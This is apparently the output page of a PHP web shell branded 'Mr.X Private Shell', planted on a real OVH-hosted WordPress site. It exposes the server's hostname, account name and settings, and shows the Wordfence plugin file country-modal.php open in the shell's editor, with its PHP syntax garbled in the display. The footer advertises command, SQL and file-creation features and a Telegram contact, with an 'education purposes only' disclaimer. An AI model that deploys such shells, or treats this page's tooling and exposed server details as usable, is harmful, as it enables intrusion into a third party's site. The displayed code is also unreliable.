Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-content/plugins/wordfence/views///blocking      ( Reset | Go to )
File Name: country-modal.php
Edit
<?php
if (!defined('WORDFENCE_VERSION')) { exit; }
/**
 * Presents the country selection modal.
 */

require(WORDFENCE_PATH 'lib/wfBulkCountries.php'); /** @var array $wfBulkCountries */
asort($wfBulkCountries);
$letters '';
foreach (
$wfBulkCountries as $name) {
    
$l strtoupper(substr($name01));
    
$test strtoupper(substr($letters, -1));
    if (
$l != $test) {
        
$letters .= $l;
    }
}
$letters str_split($letters);
?>
<script type="text/x-jquery-template" id="wfTmpl_countrySelector">
    <div class="wf-modal" id="wf-country-selector">
        <div class="wf-modal-header">
            <div class="wf-modal-header-content">
                <div class="wf-modal-title">
                    <?php esc_html_e('Select Countries to Block from List''wordfence'); ?>
                </div>
            </div>
            <div class="wf-modal-header-action">
                <a href="#" class="wf-btn wf-btn-default wf-btn-callout-subtle wf-countries-shortcut" id="wf-country-selector-block-all" data-shortcut="select" role="button"><?php esc_html_e('Block All''wordfence'); ?></a>&nbsp;&nbsp;<a href="#" class="wf-btn wf-btn-default wf-btn-callout-subtle wf-countries-shortcut" id="wf-country-selector-unblock-all" data-shortcut="deselect"><?php esc_html_e('Unblock All''wordfence'); ?></a>
            </div>
        </div>
        <div class="wf-modal-content">
            <ul class="wf-country-selector-controls">
                <li>
                    <ul class="wf-country-selector-section-options"> 
                        <?php
                        
foreach ($letters as $l) {
                            echo 
'<li><a href="#" data-letter="' esc_attr($l) . '" role="button">' esc_html($l) . '</a></li>';
                        }
                        
?>
                    </ul>
                </li>
            </ul>
            <div class="wf-country-selector-outer-wrapper">
                <div class="wf-country-selector-inner-wrapper">
                    <div class="wf-country-selector-options">
                    <?php
                    $current 
'';
                    foreach (
$wfBulkCountries as $code => $name) {
                        
$test strtoupper(substr($name01));
                        if (
$test != $current) {
                            if (
$current != '') {
                                echo 
'</ul>';
                            }
                            
$current $test;
                    
?>
                        <ul class="wf-blocked-countries" data-letter="<?php echo esc_attr($current); ?>">
                        <?php
                        
}
                        
?>
                            <li id="wf-country-option-<?php echo esc_attr(strtolower($code)); ?>" data-country="<?php echo esc_attr($code); ?>"><a href="#" role="button"><?php echo esc_html($name); ?></a></li>
                    <?php
                    
}
                            
                    if (
$current != '') {
                        echo 
'</ul>';
                    }
                    
?>
                    </div>
                </div>
            </div>
        </div>
        <div class="wf-modal-footer">
            <ul class="wf-flex-horizontal wf-flex-full-width">
                <li id="wf-country-selector-count"></li>
                <li class="wf-right"><a href="#" class="wf-btn wf-btn-default wf-btn-callout-subtle" id="wf-country-selector-cancel" role="button"><?php esc_html_e('Back''wordfence'); ?></a>&nbsp;&nbsp;<a href="#" class="wf-btn wf-btn-primary wf-btn-callout-subtle" id="wf-country-selector-confirm"><?php esc_html_e('Save''wordfence'); ?></a></li>
            </ul>
        </div>
    </div>
</script>

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL